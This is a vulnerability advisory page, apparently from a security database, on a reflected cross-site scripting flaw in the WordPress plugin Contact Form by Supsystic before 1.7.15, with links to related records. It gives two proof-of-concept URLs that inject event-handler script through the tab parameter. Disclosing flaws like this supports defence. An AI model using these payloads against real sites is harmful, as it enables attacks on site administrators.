Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpexploit0xB9WPEX-ID:1301123C-5E63-432A-AB90-3221CA532D9C
HistoryApr 19, 2021 - 12:00 a.m.

Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)

2021-04-1900:00:00
0xB9
257
JSON

The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

/wp-admin/admin.php?page=contact-form-supsystic&tab="onmouseover=alert(1)//

/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Related

wpvulndb 1
packetstorm 1
prion 1
zdt 1
cve 1
patchstack 1
nuclei 1
exploitdb 1
wpvulndb
wpvulndb
Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)
2021-04-19 00:00:00
packetstorm
packetstorm
WordPress Contact Form 1.7.14 Cross Site Scripting
2021-09-28 00:00:00
prion
prion
Cross site scripting
2021-05-05 19:15:00
zdt
zdt
WordPress Contact Form 1.7.14 Plugin - Reflected Cross-Site Scripting Vulnerability
2021-09-28 00:00:00
cve
cve
CVE-2021-24276
2021-05-05 19:15:00
patchstack
patchstack
WordPress Contact Form by Supsystic plugin <= 1.7.14 - Reflected Cross-Site Scripting (XSS) vulnerability
2021-04-19 00:00:00
nuclei
nuclei
WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
2021-09-28 17:07:40
exploitdb
exploitdb
WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
2021-09-28 00:00:00
JSON
Related for WPEX-ID:1301123C-5E63-432A-AB90-3221CA532D9C
wpvulndb1packetstorm1prion1zdt1cve1patchstack1nuclei1exploitdb1